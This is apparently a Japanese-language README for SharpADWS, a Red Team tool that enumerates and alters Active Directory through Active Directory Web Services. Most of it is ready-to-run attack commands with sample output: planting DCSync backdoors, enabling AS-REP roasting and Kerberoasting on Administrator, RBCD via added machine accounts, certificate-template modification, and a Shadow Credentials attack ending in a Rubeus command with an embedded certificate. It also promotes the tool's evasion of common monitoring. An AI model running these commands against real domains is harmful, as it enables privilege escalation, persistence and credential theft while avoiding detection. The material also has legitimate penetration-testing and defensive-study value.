
Active Directory の偵察および Red Team 向けの Active Directory Web サービス (ADWS) 経由のエクスプロイト。
Active Directory Web Services(ADWS)を介したRed Team向けのActive Directory偵察および攻撃ツール。
SharpADWSは、Active Directory Web Services(ADWS)プロトコルを介してActive Directoryデータを収集・変更する、Red Team向けのActive Directory偵察および攻撃ツールです。
通常、Active Directoryの列挙や操作はLDAPプロトコルを通じて行われます。SharpADWSは、LDAPサーバーと直接通信せずにActive Directoryデータを抽出または変更できます。ADWSでは、LDAPクエリは一連のSOAPメッセージにラップされ、NET TCPバインディング暗号化チャネルを使用してADWSサーバーに送信されます。ADWSサーバーはLDAPクエリをローカルで展開し、同じドメインコントローラー上で動作するLDAPサーバーに転送します。
Active Directory Web Services(ADWS)はActive Directory Domain Services(ADDS)のインストール時に自動的に有効化されるため、SharpADWSはすべてのドメイン環境で汎用的に使用できます。
ADWSをLDAPのポストエクスプロイテーションに使用する主な利点の1つは、比較的知られていないこと、そしてLDAPトラフィックがネットワーク上に送信されないため、一般的な監視ツールで検出されにくいことです。ADWSはLDAPとはまったく異なるサービスとして動作し、TCPポート9389で利用可能で、インターフェースとしてSOAPプロトコルを使用します。
ADWSを調査する中で、SOAP Webサービスであるため、LDAPクエリの実際の実行はドメインコントローラー上でローカルに行われることに気づきました。これにより、有益な興味深い副作用がいくつか発生します。例えば、ドメインコントローラー上のLDAPクエリを分析する際に、クエリが127.0.0.1のログから発信されていることに気づくかもしれませんが、多くの場合、これは無視されます。
これの副次的な利点として、このアクティビティはLDAPSearchアクションタイプのDeviceEventsには表示されないため、テレメトリデータがほとんど利用できなくなります。
SharpADWSは、MS-ADDM、MS-WSTIM、およびMS-WSDSプロトコルを実装しています。このプロジェクトのソースコードを使用すると、Active Directory Web Services上で以下の操作を簡単に実装できます:
コマンドライン引数 -h を使用すると、以下の使用法情報が表示されます:```cmd
C:\Users\Marcus>SharpADWS.exe -h
SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top)
-h Display this help screen
Connection options: -d Specify domain for enumeration -u Username to use for ADWS Connection -p Password to use for ADWS Connection
Supported methods: Cache Dump all objectSids to cache file for Acl methods Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack Certify Enumerate all ADCS data like Certify.exe, and can write template attributes Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack FindDelegation Enumerate all delegation relationships for the target domain
Acl options: -dn RFC 2253 DN to base search from -scope Set your Scope, support Base (Default), Onelevel, Subtree -trustee The sAMAccountName of a security principal to check for its effective permissions -right Filter DACL for a specific AD rights -rid Specify a rid value and filter out DACL that security principal's rid is greater than it -user Enumerate DACL for all user objects -computer Enumerate DACL for all computer objects -group Enumerate DACL for all group objects -domain Enumerate DACL for all domain objects -domaincontroller Enumerate DACL for all domain controller objects -gpo Enumerate DACL for all gpo objects
DCSync options: -action [{list, write}] Action to operate on DCSync method list List all accounts with DCSync permissions write Escalate accounts with DCSync permissions -target Specify the sAMAccountName of the account
DontReqPreAuth options: -action [{list, write}] Action to operate on DontReqPreAuth method list List all accounts that do not require kerberos preauthentication write Enable do not require kerberos preauthentication for an account -target Specify the sAMAccountName of the account
Kerberoastable options: -action [{list, write}] Action to operate on Kerberoastable method list List all kerberoastable accounts write Write SPNs for an account to kerberoast -target Specify the sAMAccountName of the account
AddComputer options: -computer-name Name of computer to add, without '$' suffix -computer-pass Password to set for the computer
RBCD options: -action [{read,write,remove}] Action to operate on RBCD method read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action
Certify options: -action [{find, modify}] Action to operate on Certify method find Find all CA and certificate templates modify Modify certificate templates -enrolleeSuppliesSubject Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action, and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action -clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action, and can enable Client Authentication for modify action
Whisker options: -action [{list, add, remove}] Action to operate on ShadowCredentials method list List all the values of the msDS-KeyCredentialLink attribute for an account add Add a new value to the msDS-KeyCredentialLink attribute for an account remove Remove a value from the msDS-KeyCredentialLink attribute for an account -device-id Specify the DeviceID to remove -target Specify the sAMAccountName of the account
FindDelegation options: No options, just run!
### Cache
SharpADWS が ACL を列挙する際、未知の trustee オブジェクトごとに追加の ADWS リクエストを実行しないようにするため、cacheメソッドを使用して事前にすべてのアカウントオブジェクトの完全なキャッシュを作成し、ファイルに保存する必要があります。これにより、大量の(不必要な)フローを回避します。キャッシュには、現在のドメイン内の各アカウントオブジェクト名とその objectSid のマッピングが含まれています。```cmd
C:\Users\Marcus>SharpADWS.exe Cache
[*] Cache file has been generated: object.cache
Aclメソッドは、-dnを指定してオブジェクトのDACLを列挙でき、-trustee、-right、-ridパラメータを使用して列挙されたDACLをフィルタリングすることができます。例えば、すべてのDomain Controllerオブジェクトを列挙し、trusteeがMarcusであるDACLをフィルタリングするには、次のようにします。```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus
Severity : Critical ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False
別の例として、すべてのユーザーオブジェクトを列挙し、GenericWrite 権限と trustee RID が 1000 より大きい DACL をフィルタリングしたい場合を以下に示します。```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000
Severity : Critical
ObjectDN : CN=Bob,CN=Users,DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectType : All
Trustee : Marcus
IsInherited : False
さらに、Aclメソッドは特定のオブジェクトの列挙もサポートしています:```cmd SharpADWS.exe acl -user # Enumerate DACL for all user objects SharpADWS.exe acl -computer # Enumerate DACL for all computer objects SharpADWS.exe acl -group # Enumerate DACL for all group objects SharpADWS.exe acl -domain # Enumerate DACL for all domain objects SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects
**Acl Methodの使用は、Cache methodによって確立されたマッピングキャッシュに依存する必要があることに注意すべきである。**
### DCSync
DCSyncメソッドの`list`アクションは、DS-Replication-Get-Changes、DS-Replication-Get-Changes-All、DS-Replication-Get-Changes-In-Filtered-Setの各権限が付与されているすべてのアカウントを照会できます。以下のように示されます:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action list
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Administrators
IsInherited : False
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Domain Controllers
IsInherited : False
Severity : Critical
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Alice
IsInherited : False
DCSync Methodのlistアクションは、Cache methodを通じて確立されたマッピングキャッシュに依存する必要があることに注意してください。
さらに、十分な権限があれば、writeを介してアカウントにDCSync権限を付与し、ドメイン永続化バックドアを確立できます:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus
[*] Account Marcus now has DCSync privieges on the domain.
### DontReqPreAuth
DontReqPreAuth メソッドの `list` アクションは、下記に示すように「Kerberos 事前認証を必要としない」オプションが設定されているすべてのアカウントを検索できます。```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list
[*] Found users that do not require kerberos preauthentication:
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] CN=Alice,CN=Users,DC=corp,DC=local
[*] CN=John,CN=Users,DC=corp,DC=local
さらに、write アクションを使用して、ターゲットアカウントの userAccountControl プロパティで「Do not require kerberos preauthentication」オプションを有効にすることで、WriteProperty 権限を悪用して AS-REP Roasting 攻撃を実行できます:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator
[*] Set DontReqPreAuth for user Administrator successfully!
### Kerberoastable
`Kerberoastable` メソッドの `list` アクションは、SPN が設定されているすべてのアカウントを検出できます。以下に示します:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list
[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*] kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] WWW/win-iisserver.corp.local/IIS
[*] TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*] TERMSERV/WIN-SERVER2026
さらに、ターゲットアカウントのservicePrincipalNameプロパティに対するWriteProperty権限を悪用して、writeアクションを使用してそのアカウント(ユーザーアカウントのみ)にSPNを追加することで、Kerberoasting攻撃を実行できます。```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator
[*] Kerberoast user Administrator successfully!
### AddComputer
AddComputerメソッドを使用すると、`ms-DS-MachineAccountQuota`属性値の範囲内で新しいコンピュータアカウントを作成できます。これは、後続のRBCD攻撃で使用できます。```cmd
C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd
[*] Successfully added machine account PENTEST$ with password Passw0rd.
RBCDメソッドのreadアクションは、指定されたアカウントオブジェクトのmsDS-AllowedToActOnBehalfOfOtherIdentity属性値を読み取り、誰がそのアカウントへのリソース委任権限を持っているかを確認できます。以下に示します:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$
[] Accounts allowed to act on behalf of other identity: [] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106) [] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103) [] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117)
RBCDメソッドの `write` アクションは、リソースベースの制約付き委任攻撃のために、ターゲットアカウントオブジェクトの `msDS-AllowedToActOnBehalfOfOtherIdentity` プロパティに書き込むことができます。以下に示すように、まず AddComputer メソッドを使用して新しい extreme アカウント `PENTEST$` を作成し、次に次のコマンドを実行して、`PENTEST$` の SID を `DC01$` の `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性に書き込むことができます:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$
[*] Delegation rights modified successfully!
[*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
さらに、writeアクションで追加されたSIDは、removeアクションによってターゲットオブジェクトのmsDS-AllowedToActOnBehalfOfOtherIdentity属性から削除できます:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$
[] Delegation rights modified successfully! [] Accounts allowed to act on behalf of other identity has been removed: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
### Certify
Certifyメソッドの`find`アクションは、[Certify](https://github.com/GhostPack/Certify)と同様に、ADCS内のデータ(すべての証明機関と証明書テンプレートを含む)を列挙できます。```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find
[*] Find CA and certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Listing info about the Enterprise CA 'corp-DC01-CA'
Enterprise CA Name : corp-DC01-CA
DNS Name : DC01.corp.local
FullName : DC01.corp.local\corp-DC01-CA
Certificate Subject : CN=corp-DC01-CA, DC=corp, DC=local
Certificate Serial Number : 2D975C2D49AE4BB7432682E1708C8834
Certificate Validity Start : 2/13/2024 5:55:36 PM
Certificate Validity End : 2/13/2029 6:05:36 PM
CA Permissions :
Enrollment Rights :
: Authenticated Users
Object Control Permissions :
ManageCA :
: Enterprise Admins
: DC01
: Domain Admins
ManageCertificates :
: Enterprise Admins
: DC01
WriteDacl :
: Enterprise Admins
: DC01
: Domain Admins
WriteOwner :
: Enterprise Admins
: DC01
: Domain Admins
WriteProperty :
: Enterprise Admins
: DC01
: Domain Admins
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
CA Name :
Template Name : UserSignature
Enabled : False
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : AUTO_ENROLLMENT
msPKI-Private-Key-Flag : ATTEST_NONE
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
# ...
さらに、findアクションは、-enrolleeSuppliesSubjectオプションと-clientAuthオプションをサポートしており、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTフラグが有効で、クライアント認証をサポートするすべての証明書テンプレートをフィルタリングできます:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth
[] Find CA and certificate templates [] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA'
# ...
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Marcus
: Domain Users
**注意点として、Certify Methodの`find`は、Cache Methodを介して確立されたマッピングキャッシュに依存する必要があります。**
Certify methodの`modify`アクションを使用すると、証明書テンプレートのプロパティを変更できます。例えば、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`フラグを有効にしたり、クライアント認証を有効にしたりできます(対象テンプレートへの書き込みアクセス権がある場合):```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth
[*] Enable enrollee supplies subject for template User successfully!
[*] Enable client authentication for template User successfully!
Whiskerメソッドは、Whiskerと同様にShadowCredentials攻撃のライフサイクルを実行できます。
Whiskerメソッドのlistアクションは、ターゲットアカウントオブジェクトのmsDS-KeyCredentialLink属性値を一覧表示できます。```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$
[] List deviced for DC01$: [] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM [] DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9 Creation Time: 2/13/2024 8:06:52 PM [] DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd Creation Time: 2/13/2024 8:01:50 PM
Whiskerメソッドの`add`アクションを使用すると、書き込みアクセス権がある場合に、ターゲットアカウントの`msDS-KeyCredentialLink`プロパティにキーを追加してShadowCredentials攻撃を実行できます:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd
[*] Certificate generaged
[*] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2
[*] Updated the msDS-KeyCredentialLink attribute successfully!
[*] You can now run Rubeus with the following syntax:
Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA
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 /password:"Passw0rd" /domain:cor
p.local /getcredentials /show
さらに、removeアクションでは、-device-idを指定することで、対象オブジェクトのmsDS-KeyCredentialLinkプロパティから指定されたKeyを削除できます:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596
[] Found value to remove [] msDS-KeyCredentialLink value has been removed: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM
### FindDelegation
FindDelegationメソッドは、現在のドメイン内のすべての委任関係を列挙できます。このメソッドには冗長なオプションやパラメーターはありません:```cmd
C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------- ---------------------------------- ----------------------------------------------
DC01$ Computer Unconstrained N/A
PENTEST$ Computer Resource-Based Constrained DC01$
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/DomainDnsZones.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/ForestDnsZones.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/CORP
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01/CORP
このプロジェクトは私が独力で開発したものであり、どうしてもいくつかのバグが含まれる可能性があります。コントリビューターの皆様には、バグ報告や新たなアイデアの提案のために issue を提出していただき、共にプロジェクトを改善していくことを大いに歓迎します!